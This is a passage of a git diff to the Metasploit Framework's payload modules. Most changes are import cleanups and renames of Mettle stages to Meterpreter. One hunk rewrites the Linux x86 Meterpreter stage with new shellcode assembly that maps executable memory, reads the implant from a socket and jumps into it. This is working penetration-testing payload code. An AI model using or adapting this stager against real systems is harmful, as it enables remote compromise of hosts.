7ac254aedf..e47f8730b9 100644 --- a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' @@ -64,7 +63,7 @@ module MetasploitModule register_options( [ OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0]) - ], self.class) + ]) end end diff --git a/modules/payloads/stagers/windows/reverse_nonx_tcp.rb b/modules/payloads/stagers/windows/reverse_nonx_tcp.rb index dc45f124bc..c35e8aa7c7 100644 --- a/modules/payloads/stagers/windows/reverse_nonx_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_nonx_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/stagers/windows/reverse_ord_tcp.rb b/modules/payloads/stagers/windows/reverse_ord_tcp.rb index 8bb52ba25b..4d8b2751f8 100644 --- a/modules/payloads/stagers/windows/reverse_ord_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_ord_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb index 851843e75f..0a5e17bcf2 100644 --- a/modules/payloads/stagers/windows/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/reverse_tcp' diff --git a/modules/payloads/stagers/windows/reverse_tcp_allports.rb b/modules/payloads/stagers/windows/reverse_tcp_allports.rb index 8a4c884b09..98113b7210 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_allports.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_allports.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp_allports' diff --git a/modules/payloads/stagers/windows/reverse_tcp_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_dns.rb index 92cf8c16ec..c669afc684 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_dns.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_dns.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/reverse_tcp_dns' diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb index f70b42e62e..3626ed6e77 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb @@ -5,7 +5,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/reverse_tcp_rc4' diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb index ffa71b20f5..6cd75dc44a 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb @@ -5,7 +5,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/reverse_tcp_rc4_dns' diff --git a/modules/payloads/stagers/windows/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb index b4895a83e6..ab3d3dc592 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/reverse_tcp' diff --git a/modules/payloads/stagers/windows/reverse_winhttp.rb b/modules/payloads/stagers/windows/reverse_winhttp.rb index 134cac75ad..a4a2143d3a 100644 --- a/modules/payloads/stagers/windows/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/reverse_winhttp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/reverse_winhttp' diff --git a/modules/payloads/stagers/windows/reverse_winhttps.rb b/modules/payloads/stagers/windows/reverse_winhttps.rb index 6008bb28d2..e84da0bfca 100644 --- a/modules/payloads/stagers/windows/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/reverse_winhttps.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/reverse_winhttps' diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb index cd0139900b..4cf5438c1a 100644 --- a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/x64/bind_tcp' diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb index 4e4478e4d2..57609a7a52 100644 --- a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/x64/bind_tcp' diff --git a/modules/payloads/stagers/windows/x64/bind_tcp.rb b/modules/payloads/stagers/windows/x64/bind_tcp.rb index c256cec420..2f921badd2 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/x64/bind_tcp' diff --git a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb index 6ba64b2a19..113f7a33ee 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/x64/bind_tcp' diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index 74aad15134..831cf95085 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/x64/reverse_http' diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index 1fcec84bcf..9b99a770b9 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/x64/reverse_https' diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index 9657094ca1..ef5dbfc7f7 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/x64/reverse_tcp' diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb index f15cc867f5..0eb351ddc4 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/x64/reverse_tcp' diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb index 186fb48169..b770feb7f4 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/x64/reverse_winhttp' diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb index ddd86b791a..fc75dcafed 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/x64/reverse_winhttps' diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index f36e3e287f..a340d2a8a8 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/android' require 'msf/core/payload/android/meterpreter_loader' require 'msf/base/sessions/meterpreter_android' diff --git a/modules/payloads/stages/android/shell.rb b/modules/payloads/stages/android/shell.rb index bea2d71764..171a0b4375 100644 --- a/modules/payloads/stages/android/shell.rb +++ b/modules/payloads/stages/android/shell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/android' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/stages/bsd/x86/shell.rb b/modules/payloads/stages/bsd/x86/shell.rb index ef5ae90f85..31b2377b4e 100644 --- a/modules/payloads/stages/bsd/x86/shell.rb +++ b/modules/payloads/stages/bsd/x86/shell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/bsdi/x86/shell.rb b/modules/payloads/stages/bsdi/x86/shell.rb index 1d0f00bfcb..c106b096a3 100644 --- a/modules/payloads/stages/bsdi/x86/shell.rb +++ b/modules/payloads/stages/bsdi/x86/shell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index 0619b16fb3..e0fa5bdb1b 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/java' require 'msf/core/payload/java/meterpreter_loader' require 'msf/base/sessions/meterpreter_java' diff --git a/modules/payloads/stages/java/shell.rb b/modules/payloads/stages/java/shell.rb index b98b592558..bfdf903dff 100644 --- a/modules/payloads/stages/java/shell.rb +++ b/modules/payloads/stages/java/shell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/java' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/stages/linux/armle/mettle.rb b/modules/payloads/stages/linux/armle/meterpreter.rb similarity index 95% rename from modules/payloads/stages/linux/armle/mettle.rb rename to modules/payloads/stages/linux/armle/meterpreter.rb index 8b72c0e9e5..9bf86b76c5 100644 --- a/modules/payloads/stages/linux/armle/mettle.rb +++ b/modules/payloads/stages/linux/armle/meterpreter.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/meterpreter_armle_linux' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' @@ -82,6 +81,7 @@ module MetasploitModule end def generate_stage(opts = {}) - MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :process_image + MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', + generate_config(opts.merge({scheme: 'tcp'}))).to_binary :process_image end end diff --git a/modules/payloads/stages/linux/armle/shell.rb b/modules/payloads/stages/linux/armle/shell.rb index feffd67cfd..f66acb9ea4 100644 --- a/modules/payloads/stages/linux/armle/shell.rb +++ b/modules/payloads/stages/linux/armle/shell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/linux/mipsbe/mettle.rb b/modules/payloads/stages/linux/mipsbe/meterpreter.rb similarity index 96% rename from modules/payloads/stages/linux/mipsbe/mettle.rb rename to modules/payloads/stages/linux/mipsbe/meterpreter.rb index e6d3884209..5570ef48ae 100644 --- a/modules/payloads/stages/linux/mipsbe/mettle.rb +++ b/modules/payloads/stages/linux/mipsbe/meterpreter.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/meterpreter_mipsbe_linux' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' @@ -93,6 +92,7 @@ module MetasploitModule end def generate_stage(opts = {}) - MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :process_image + MetasploitPayloads::Mettle.new('mips-linux-muslsf', + generate_config(opts.merge({scheme: 'tcp'}))).to_binary :process_image end end diff --git a/modules/payloads/stages/linux/mipsbe/shell.rb b/modules/payloads/stages/linux/mipsbe/shell.rb index 77207e50e1..2ce810df6d 100644 --- a/modules/payloads/stages/linux/mipsbe/shell.rb +++ b/modules/payloads/stages/linux/mipsbe/shell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/linux/mipsle/mettle.rb b/modules/payloads/stages/linux/mipsle/meterpreter.rb similarity index 95% rename from modules/payloads/stages/linux/mipsle/mettle.rb rename to modules/payloads/stages/linux/mipsle/meterpreter.rb index 4fe7615598..dda3f909bd 100644 --- a/modules/payloads/stages/linux/mipsle/mettle.rb +++ b/modules/payloads/stages/linux/mipsle/meterpreter.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/meterpreter_mipsle_linux' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' @@ -93,6 +92,8 @@ module MetasploitModule end def generate_stage(opts = {}) - MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :process_image + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', + generate_config(opts.merge({scheme: 'tcp'}))).to_binary :process_image end end diff --git a/modules/payloads/stages/linux/mipsle/shell.rb b/modules/payloads/stages/linux/mipsle/shell.rb index b81b1c1848..3bd4d83258 100644 --- a/modules/payloads/stages/linux/mipsle/shell.rb +++ b/modules/payloads/stages/linux/mipsle/shell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/linux/x64/mettle.rb b/modules/payloads/stages/linux/x64/meterpreter.rb similarity index 92% rename from modules/payloads/stages/linux/x64/mettle.rb rename to modules/payloads/stages/linux/x64/meterpreter.rb index 3a0505ac11..cf1caa3433 100644 --- a/modules/payloads/stages/linux/x64/mettle.rb +++ b/modules/payloads/stages/linux/x64/meterpreter.rb @@ -3,8 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'msf/base/sessions/meterpreter_x64_mettle_linux' +require 'msf/base/sessions/meterpreter_x64_linux' require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/mettle_config' require 'rex/elfparsey' @@ -25,7 +24,7 @@ module MetasploitModule 'Platform' => 'Linux', 'Arch' => ARCH_X64, 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_x64_Mettle_Linux + 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) end @@ -90,6 +89,7 @@ module MetasploitModule end def generate_stage(opts = {}) - MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :process_image + MetasploitPayloads::Mettle.new('x86_64-linux-musl', + generate_config(opts.merge({scheme: 'tcp'}))).to_binary :process_image end end diff --git a/modules/payloads/stages/linux/x64/shell.rb b/modules/payloads/stages/linux/x64/shell.rb index 19c52e5305..159f29fabb 100644 --- a/modules/payloads/stages/linux/x64/shell.rb +++ b/modules/payloads/stages/linux/x64/shell.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 982b475874..01effc9818 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -3,174 +3,96 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/meterpreter_x86_linux' require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' require 'rex/elfparsey' module MetasploitModule include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig def initialize(info = {}) - super(update_info(info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Inject the meterpreter server payload (staged)', - 'Author' => ['PKS', 'egypt', 'OJ Reeves'], - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_x86_Linux)) - - register_options([ - OptInt.new('DebugOptions', [ false, "Debugging options for POSIX meterpreter", 0 ]) - ], self.class) + super( + update_info( + info, + 'Name' => 'Linux Mettle x86', + 'Description' => 'Inject the mettle server payload (staged)', + 'Author' => [ + 'William Webb ' + ], + 'Platform' => 'Linux', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_x86_Linux + ) + ) end def elf_ep(payload) - elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) ) - ep = elf.elf_header.e_entry - return ep + elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload)) + elf.elf_header.e_entry end -=begin - def elf2bin(payload) - # XXX, not working. Use .c version - - # This code acts as a mini elf parser / memory layout linker. - # It will return what a elf file looks like once loaded in memory - - mem = "\x00" * (4 * 1024 * 1024) - used = 0 - - elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) ) - - elf.program_header.each { |hdr| - if(hdr.p_type == Rex::ElfParsey::ElfBase::PT_LOAD) - print_status("Found PT_LOAD") - fileidx = hdr.p_offset & (~4095) - memidx = (hdr.p_vaddr & (~4095)) - elf.base_addr - len = hdr.p_filesz + (hdr.p_vaddr & 4095) - - mem[memidx,memidx+len] = payload[fileidx,fileidx+len] # should result in a single memcpy call :D - used += (hdr.p_memsz + (hdr.p_vaddr & 4095) + 4095) & ~4095 - end - } - - # Maybe at some stage zero out elf header / program headers in case tools - # try to look for them - - print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes") - return mem[0, used] - end -=end - def handle_intermediate_stage(conn, payload) entry_offset = elf_ep(payload) - config_offset = payload.length - generate_meterpreter.length - encoded_entry = "0x%.8x" % entry_offset - encoded_offset = "0x%.8x" % config_offset - encoded_debug_options = "0x%.2x" % datastore['DebugOptions'].to_i + midstager_asm = %( + push edi ; save sockfd + xor ebx, ebx ; address + mov ecx, #{payload.length} ; length + mov edx, 7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE + mov esi, 34 ; MAP_PRIVATE | MAP_ANONYMOUS + xor edi, edi ; fd + xor ebp, ebp ; pgoffset + mov eax, 192 ; mmap2 + int 0x80 ; syscall - # Maybe in the future patch in base. + ; receive mettle process image + mov edx, eax ; save buf addr for next code block + pop ebx ; sockfd + push 0x00000100 ; MSG_WAITALL + push #{payload.length} ; size + push eax ; buf + push ebx ; sockfd + mov ecx, esp ; arg array + mov ebx, 10 ; SYS_READ + mov eax, 102 ; sys_socketcall + int 0x80 ; syscall - # Does a mmap() / read() loop of a user specified length, then - # jumps to the entry point (the \x5a's) - midstager_asm = %Q^ - midstager: - and esp, 0xFFFFF254 - push 0x4 - pop edx - mov ecx, esp - mov ebx, edi - push 0x3 - pop eax - int 0x80 - push edi - mov eax, 0xC0 - mov ebx, 0x20040000 - mov ecx, dword ptr [esp+0x4] - push 0x7 - pop edx - push 0x32 - pop esi - xor edi, edi - mov ebp, edi - dec edi - int 0x80 - cmp eax, 0xFFFFFF7F - jb start_read - terminate: - xor eax, eax - inc eax - int 0x80 ; sys_exit - start_read: - xchg ecx, edx - xchg ecx, ebx - pop ebx - read_loop: - push 0x3 - pop eax - int 0x80 ; sys_read - cmp eax, 0xFFFFFF7F - ja terminate ; exit on error - test eax, eax - je terminate ; exit on error - add ecx, eax - sub edx, eax - jne read_loop ; read more - ; edx should be at the end, but we need to adjust for the size of the config - ; block so we know where to write the socket to memory - sub ecx, #{encoded_offset} - mov [ecx], ebx ; write the socket to the config - push #{encoded_debug_options} - push ecx ; pass in the configuration pointer - mov eax, #{encoded_entry} ; put the entry point in eax - call eax - jmp terminate - ^ + ; setup stack + pop edi + xor ebx, ebx + and esp, 0xfffffff0 ; align esp + add esp, 40 + mov eax, 109 + push eax + mov esi, esp + push ebx ; NULL + push ebx ; AT_NULL + push edx ; mmap buffer + mov eax, 7 + push eax ; AT_BASE + push ebx ; end of ENV + push ebx ; NULL + push edi ; sockfd + push esi ; m + mov eax, 2 + push eax ; argc + + ; down the rabbit hole + mov eax, #{entry_offset} + add edx, eax + jmp edx + ) midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string - - print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)") - conn.put(midstager) - Rex::ThreadSafe.sleep(1.5) - - # Send length of payload - conn.put([ payload.length ].pack('V')) - return true - + vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)") + conn.put(midstager) == midstager.length end - def generate_stage(opts={}) - meterpreter = generate_meterpreter - config = generate_config(opts) - meterpreter + config - end - - def generate_meterpreter - MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin') - end - - def generate_config(opts={}) - opts[:uuid] ||= generate_payload_uuid - ds = opts[:datastore] || datastore - - # create the configuration block, which for staged connections is really simple. - config_opts = { - arch: opts[:uuid].arch, - exitfunk: nil, - expiration: ds['SessionExpirationTimeout'].to_i, - uuid: opts[:uuid], - transports: opts[:transport_config] || [transport_config(opts)], - extensions: [], - ascii_str: true - } - - # create the configuration instance based off the parameters - config = Rex::Payloads::Meterpreter::Config.new(config_opts) - - # return the binary version of it - config.to_b + def generate_stage(opts = {}) + MetasploitPayloads::Mettle.new('i486-linux-musl', + generate_config(opts.merge({scheme: 'tcp'}))).to_binary :process_image end end diff --git a/modules/payloads/stages/linux/x86/mettle.rb b/modules/payloads/stages/linux/x86/mettle.rb deleted file mode 100644 index f410e33bca..0000000000 --- a/modules/payloads/stages/linux/x86/mettle.rb +++ /dev/null @@ -1,98 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'msf/base/sessions/meterpreter_x86_mettle_linux' -require 'msf/base/sessions/meterpreter_options' -require 'msf/base/sessions/mettle_config' -require 'rex/elfparsey' - -module MetasploitModule - include Msf::Sessions::MeterpreterOptions - include Msf::Sessions::MettleConfig - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Linux Mettle x86', - 'Description' => 'Inject the mettle server payload (staged)', - 'Author' => [ - 'William Webb ' - ], - 'Platform' => 'Linux', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_x86_Mettle_Linux - ) - ) - end - - def elf_ep(payload) - elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload)) - elf.elf_header.e_entry - end - - def handle_intermediate_stage(conn, payload) - entry_offset = elf_ep(payload) - - midstager_asm = %( - push edi ; save sockfd - xor ebx, ebx ; address - mov ecx, #{payload.length} ; length - mov edx, 7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE - mov esi, 34 ; MAP_PRIVATE | MAP_ANONYMOUS - xor edi, edi ; fd - xor ebp, ebp ; pgoffset - mov eax, 192 ; mmap2 - int 0x80 ; syscall - - ; receive mettle process image - mov edx, eax ; save buf addr for next code block - pop ebx ; sockfd - push 0x00000100 ; MSG_WAITALL - push #{payload.length} ; size - push eax ; buf - push ebx ; sockfd - mov ecx, esp ; arg array - mov ebx, 10 ; SYS_READ - mov eax, 102 ; sys_socketcall - int 0x80 ; syscall - - ; setup stack - pop edi - xor ebx, ebx - and esp, 0xfffffff0 ; align esp - add esp, 40 - mov eax, 109 - push eax - mov esi, esp - push ebx ; NULL - push ebx ; AT_NULL - push edx ; mmap buffer - mov eax, 7 - push eax ; AT_BASE - push ebx ; end of ENV - push ebx ; NULL - push edi ; sockfd - push esi ; m - mov eax, 2 - push eax ; argc - - ; down the rabbit hole - mov eax, #{entry_offset} - add edx, eax - jmp edx - ) - - midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string - vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)") - conn.put(midstager) == midstager.length - end - - def generate_stage(opts = {}) - MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :process_image - end -end diff --git a/modules/payloads/stages/linux/x86/shell.rb b/modules/payloads/stages/linux/x86/shell.rb index e24fbdbaf7..acdc98246a 100644 --- a/modules/payloads/stages/linux/x86/shell.rb +++ b/modules/payloads/stages/linux/x86/shell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/multi/meterpreter.rb b/modules/payloads/stages/multi/meterpreter.rb index 3094fb2361..22efa3552b 100644 --- a/modules/payloads/stages/multi/meterpreter.rb +++ b/modules/payloads/stages/multi/meterpreter.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/meterpreter_multi' require 'msf/base/sessions/meterpreter_options' diff --git a/modules/payloads/stages/netware/shell.rb b/modules/payloads/stages/netware/shell.rb index 7b89646c4b..bad7f267fa 100644 --- a/modules/payloads/stages/netware/shell.rb +++ b/modules/payloads/stages/netware/shell.rb @@ -4,7 +4,6 @@ ## require 'metasm' -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/osx/armle/execute.rb b/modules/payloads/stages/osx/armle/execute.rb index 61763bd6dc..69325cdbf8 100644 --- a/modules/payloads/stages/osx/armle/execute.rb +++ b/modules/payloads/stages/osx/armle/execute.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -141,7 +140,7 @@ module MetasploitModule [ OptPath.new('PEXEC', [ true, "Full path to the file to execute", File.join(Msf::Config.data_directory, "ipwn", "ipwn")]) - ], self.class) + ]) end def generate_stage(opts={}) diff --git a/modules/payloads/stages/osx/armle/shell.rb b/modules/payloads/stages/osx/armle/shell.rb index 93b7538385..699bed3514 100644 --- a/modules/payloads/stages/osx/armle/shell.rb +++ b/modules/payloads/stages/osx/armle/shell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/osx/ppc/shell.rb b/modules/payloads/stages/osx/ppc/shell.rb index 56711ae784..00ac73cd84 100644 --- a/modules/payloads/stages/osx/ppc/shell.rb +++ b/modules/payloads/stages/osx/ppc/shell.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/osx/x64/dupandexecve.rb b/modules/payloads/stages/osx/x64/dupandexecve.rb index 6b0cca0dd3..50c4a70ac7 100644 --- a/modules/payloads/stages/osx/x64/dupandexecve.rb +++ b/modules/payloads/stages/osx/x64/dupandexecve.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stages/osx/x86/bundleinject.rb 